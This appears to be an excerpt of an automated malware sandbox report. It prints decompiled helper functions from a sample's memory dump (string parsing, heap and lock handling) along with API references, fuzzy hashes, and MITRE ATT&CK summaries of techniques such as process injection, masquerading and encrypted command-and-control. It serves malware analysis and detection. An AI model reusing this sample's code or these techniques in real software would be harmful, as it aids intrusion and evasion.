Instruction Fuzzy Hash: 73119131508395EBDB20BF648404F2D77A4AF05726F216559F1D9DB584EB74D880CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 033D49BA, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E033D49BA(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E033D5C4E(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x33d92c4);
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x33d92c4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x033d49c5
0x033d49c9
0x033d49cb
0x033d49cc
0x033d49d4
0x033d49d4
0x033d49d8
0x00000000
0x00000000
0x033d49cf
0x033d49d0
0x033d49d3
0x033d49d3
0x033d49e0
0x033d49e7
0x033d49eb
0x033d49f3
0x033d49f9
0x033d49fb
0x033d4a00
0x033d4a04
0x033d4a06
0x033d4a09
0x033d4a10
0x033d4a10
0x033d4a1a
0x033d4a1d
0x033d4a20
0x033d4a20
0x033d4a2c
0x033d4a2c
0x033d4a39

APIs

StrChrA.SHLWAPI(?,00000020,00000000,05A4962C,?,?,?,033D6072,05A4962C,?,?,033D2F44), ref: 033D49D4
StrTrimA.SHLWAPI(?,033D92C4,00000002,?,?,?,033D6072,05A4962C,?,?,033D2F44), ref: 033D49F3
StrChrA.SHLWAPI(?,00000020,?,?,?,033D6072,05A4962C,?,?,033D2F44,?,?,?,?,?,033D44F9), ref: 033D49FE
StrTrimA.SHLWAPI(00000001,033D92C4,?,?,?,033D6072,05A4962C,?,?,033D2F44,?,?,?,?,?,033D44F9), ref: 033D4A10

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 59a259b6042973e39bc48dd73e1c8bc55d5de0aa93452294ee78a6c92256b44f
Instruction ID: 198acec7a4d4b883cc7aaba2ab27bab0fc715d91aee7fed740c43eded1aed5bf
Opcode Fuzzy Hash: 59a259b6042973e39bc48dd73e1c8bc55d5de0aa93452294ee78a6c92256b44f
Instruction Fuzzy Hash: D201D873A053256FD221DE6BBCC9F2BBB9CEB46A60F150519F992D7240EF70C80586A4

Uniqueness

Uniqueness Score: -1.00%

Function 033D1970, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E033D1970(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E033D354E(_t8, _t1);
				_t16 = E033D5C4E(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E033D756E(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E033D5C4E(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E033D2A03(_t16);
				}
				return _t18;
			}

0x033d197b
0x033d197c
0x033d197f
0x033d1981
0x033d198c
0x033d1990
0x033d1995
0x033d1999
0x033d19a1
0x033d19a6
0x033d19ae
0x033d19ae
0x033d19b7
0x033d19bb
0x033d19c1
0x033d19c4
0x033d19ca
0x033d19ca
0x033d19d2
0x033d19d2
0x033d19d9
0x033d19d9
0x033d19e4

APIs

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

Part of subcall function 033D756E: wsprintfA.USER32 ref: 033D75CA

lstrlen.KERNEL32(?,00000000,00000000,00000027,E8FA7DD7,00000000,74ECC740,033D3EC5,74666F53,00000000,?,00000000,?,?,033D2F4F), ref: 033D19A6
lstrcpy.KERNEL32(00000000,00000000), ref: 033D19CA
lstrcat.KERNEL32(00000000,00000000), ref: 033D19D2

Strings

Soft, xrefs: 033D197C, 033D1995

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 09e2181f376666cd2cc24fe3e95615f10aa8aacd123a7dfd433f1184b17eecd4
Instruction ID: fd8edde03f4842d00f9c8571b3dd04161b0d93ed29b6e5804e8e680fbbcc0065
Opcode Fuzzy Hash: 09e2181f376666cd2cc24fe3e95615f10aa8aacd123a7dfd433f1184b17eecd4
Instruction Fuzzy Hash: 5A01AD37900209A7CB22BAA9BCC4BEF7A6DAF85251F084025F9069A104DB788955C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6AC1F, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6DD6AC2B

Part of subcall function 6DD68F2A: __getptd_noexit.LIBCMT ref: 6DD68F2D
Part of subcall function 6DD68F2A: __amsg_exit.LIBCMT ref: 6DD68F3A

__getptd.LIBCMT ref: 6DD6AC42
__amsg_exit.LIBCMT ref: 6DD6AC50
__lock.LIBCMT ref: 6DD6AC60

Memory Dump Source

Source File: 00000004.00000002.507411430.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 52645b7fb04807392f6c8bdc4d38e6505d73da1f2f7e5a18f78eecf349b8cea4
Instruction ID: bd5df3420492e4f78de89ea7b5b16ada5d8444a8c89a12b9053d0ffa37125683
Opcode Fuzzy Hash: 52645b7fb04807392f6c8bdc4d38e6505d73da1f2f7e5a18f78eecf349b8cea4
Instruction Fuzzy Hash: 61F096369487A5DBD710FB748811B5D73A0AF02724F039145F6849B2C0DB74A905CAF1

Uniqueness

Uniqueness Score: -1.00%

Function 033D1547, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D1547() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x33da2c4; // 0x2e0
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x33da304; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x33da2c4; // 0x2e0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x33da290; // 0x5650000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x033d1547
0x033d154e
0x033d1598
0x033d159a
0x033d159a
0x033d1552
0x033d1558
0x033d155d
0x033d1561
0x033d1567
0x033d156e
0x00000000
0x00000000
0x033d1570
0x033d1575
0x00000000
0x00000000
0x00000000
0x033d1575
0x033d1577
0x033d157f
0x033d1582
0x033d1582
0x033d1588
0x033d158f
0x033d1592
0x033d1592
0x00000000

APIs

SetEvent.KERNEL32(000002E0,00000001,033D4214), ref: 033D1552
SleepEx.KERNEL32(00000064,00000001), ref: 033D1561
CloseHandle.KERNEL32(000002E0), ref: 033D1582
HeapDestroy.KERNEL32(05650000), ref: 033D1592

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 6fff10ec4e5d1ad00e36913bd6e39375f28b20fb4ad8db475c6002ee1b35f1fa
Instruction ID: cf505e24386e859cd10f10d965bfce674970d217c42315f6d2ff65da35c22848
Opcode Fuzzy Hash: 6fff10ec4e5d1ad00e36913bd6e39375f28b20fb4ad8db475c6002ee1b35f1fa
Instruction Fuzzy Hash: 3AF03072F423119BD760BF35BECCB1A37ADAB14711F080554B81AE7288CB2DC520C550

Uniqueness

Uniqueness Score: -1.00%

Function 033D6027, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E033D6027(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x33da37c; // 0x5a49630
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x33da37c; // 0x5a49630
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x33da030) {
					HeapFree( *0x33da290, 0, _t8);
				}
				_t14[1] = E033D49BA(_v0, _t14);
				_t11 =  *0x33da37c; // 0x5a49630
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x033d6027
0x033d6027
0x033d6030
0x033d6040
0x033d6040
0x033d6045
0x033d604a
0x00000000
0x00000000
0x033d603a
0x033d603a
0x033d604c
0x033d6050
0x033d6062
0x033d6062
0x033d6072
0x033d6075
0x033d607a
0x033d607e
0x033d6084

APIs

RtlEnterCriticalSection.NTDLL(05A495F0), ref: 033D6030
Sleep.KERNEL32(0000000A,?,?,033D2F44,?,?,?,?,?,033D44F9,?,00000001), ref: 033D603A
HeapFree.KERNEL32(00000000,00000000,?,?,033D2F44,?,?,?,?,?,033D44F9,?,00000001), ref: 033D6062
RtlLeaveCriticalSection.NTDLL(05A495F0), ref: 033D607E

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 5bcfa8a2ce2006199cbc9cde7118a5e984dde86c37404665e101b237974fb569
Instruction ID: 3f06f0b3255f9091d890c8962c7da6a0df3b8d2d87250821f87cab8f7b308c02
Opcode Fuzzy Hash: 5bcfa8a2ce2006199cbc9cde7118a5e984dde86c37404665e101b237974fb569
Instruction Fuzzy Hash: 90F0F87660A240ABEB20EF79F9C9F1A77ADAB04741F488405F856D6648C738E824CB25

Uniqueness

Uniqueness Score: -1.00%

Function 033D461D, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E033D461D() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x33da37c; // 0x5a49630
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x33da37c; // 0x5a49630
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x33da37c; // 0x5a49630
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x33db882) {
					HeapFree( *0x33da290, 0, _t10);
					_t7 =  *0x33da37c; // 0x5a49630
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x033d461d
0x033d4626
0x033d4636
0x033d4636
0x033d463b
0x033d4640
0x00000000
0x00000000
0x033d4630
0x033d4630
0x033d4642
0x033d4647
0x033d464b
0x033d465e
0x033d4664
0x033d4664
0x033d466d
0x033d466f
0x033d4673
0x033d4679

APIs

RtlEnterCriticalSection.NTDLL(05A495F0), ref: 033D4626
Sleep.KERNEL32(0000000A,?,?,033D2F44,?,?,?,?,?,033D44F9,?,00000001), ref: 033D4630
HeapFree.KERNEL32(00000000,?,?,?,033D2F44,?,?,?,?,?,033D44F9,?,00000001), ref: 033D465E
RtlLeaveCriticalSection.NTDLL(05A495F0), ref: 033D4673

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 3a00b3b525d536ffce77c0c4df3a55829043bd8d96ebf90439231665e180510f
Instruction ID: e9629f974d406b711bc22677f0f71aad0d1eea5c2917faf11cbfaefe49353353
Opcode Fuzzy Hash: 3a00b3b525d536ffce77c0c4df3a55829043bd8d96ebf90439231665e180510f
Instruction Fuzzy Hash: 98F09E79602240EFE718EF29F9D9F15B7ADAB48742F094159ED06D7758CB34AC20CE14

Uniqueness

Uniqueness Score: -1.00%

Function 033D2FFC, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E033D2FFC(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E033D5C4E(_t2);
				if(_t34 != 0) {
					_t30 = E033D5C4E(_t28);
					if(_t30 == 0) {
						E033D2A03(_t34);
					} else {
						_t39 = _a4;
						_t22 = E033D79AC(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E033D79AC(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x033d2ffc
0x033d3006
0x033d3008
0x033d300e
0x033d300e
0x033d3017
0x033d301b
0x033d3027
0x033d302b
0x033d309f
0x033d302d
0x033d302d
0x033d3031
0x033d3038
0x033d303b
0x033d3055
0x033d3044
0x033d3044
0x033d3048
0x033d304b
0x033d3050
0x033d3050
0x033d305a
0x033d3082
0x033d3088
0x033d308b
0x033d305c
0x033d305e
0x033d3066
0x033d3071
0x033d3076
0x033d3076
0x033d3092
0x033d3099
0x033d309a
0x033d309a
0x033d302b
0x033d30aa

APIs

lstrlen.KERNEL32(00000000,0000EA60,?,00000008,?,?,033D56E5,00000000,00000000,00000000,05A49698,?,?,033D3B82,?,05A49698), ref: 033D3008

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

Part of subcall function 033D79AC: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,033D3036,00000000,00000001,00000001,?,?,033D56E5,00000000,00000000,00000000,05A49698), ref: 033D79BA
Part of subcall function 033D79AC: StrChrA.SHLWAPI(?,0000003F,?,?,033D56E5,00000000,00000000,00000000,05A49698,?,?,033D3B82,?,05A49698,0000EA60,?), ref: 033D79C4

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,033D56E5,00000000,00000000,00000000,05A49698,?,?,033D3B82), ref: 033D3066
lstrcpy.KERNEL32(00000000,00000000), ref: 033D3076
lstrcpy.KERNEL32(00000000,00000000), ref: 033D3082

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 4a925ed852314c9149dcbc240f162187e6d7fd0e07700f7441fbe07399b48647
Instruction ID: 826cccf3a29d0910496866717c1243475521231fc964bad708ceb6a931d287a4
Opcode Fuzzy Hash: 4a925ed852314c9149dcbc240f162187e6d7fd0e07700f7441fbe07399b48647
Instruction Fuzzy Hash: C521C07B500215AFCB21EF74FCC4AAABFACAF06290B094054F9469F205D739CD0487A2

Uniqueness

Uniqueness Score: -1.00%

Function 033D4DC8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D4DC8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E033D5C4E(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x033d4ddd
0x033d4de1
0x033d4deb
0x033d4df2
0x033d4df5
0x033d4df7
0x033d4dff
0x033d4e04
0x033d4e12
0x033d4e17
0x033d4e21

APIs

lstrlenW.KERNEL32(004F0053,75145520,?,00000008,05A4932C,?,033D4ABB,004F0053,05A4932C,?,?,?,?,?,?,033D1BD5), ref: 033D4DD8
lstrlenW.KERNEL32(033D4ABB,?,033D4ABB,004F0053,05A4932C,?,?,?,?,?,?,033D1BD5), ref: 033D4DDF

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

memcpy.NTDLL(00000000,004F0053,751469A0,?,?,033D4ABB,004F0053,05A4932C,?,?,?,?,?,?,033D1BD5), ref: 033D4DFF
memcpy.NTDLL(751469A0,033D4ABB,00000002,00000000,004F0053,751469A0,?,?,033D4ABB,004F0053,05A4932C), ref: 033D4E12

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: e25a133bbaf1600aa26fc779d00549878ddb447be762c1be318c7de42223db14
Instruction ID: 9b3709ef7aa92adc8092365a2ba15037a7aabda57d7002774b5be154eeecf66f
Opcode Fuzzy Hash: e25a133bbaf1600aa26fc779d00549878ddb447be762c1be318c7de42223db14
Instruction Fuzzy Hash: 1CF0FF77900118BFCF11EFA9EC84D9FBBADEF092547154462ED04DB111E771EA149BA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D2829, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(05A4887A,00000000,00000000,00000000,033D6328,00000000), ref: 033D2839
lstrlen.KERNEL32(?), ref: 033D2841

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

lstrcpy.KERNEL32(00000000,05A4887A), ref: 033D2855
lstrcat.KERNEL32(00000000,?), ref: 033D2860

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 1460eb82d9a3d237fa7d9f4d150d210de3d32e56b9c53ddd841a4f35c1f656c1
Instruction ID: 17e32e35a60bb5c0eb98d14b76c5e4925bbbd60421e52dbf751e33cc7ead3a5d
Opcode Fuzzy Hash: 1460eb82d9a3d237fa7d9f4d150d210de3d32e56b9c53ddd841a4f35c1f656c1
Instruction Fuzzy Hash: 97E09233902224A78711ABA9BC88C9FBBACEF89752B080816FA00D3104C73898158BA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

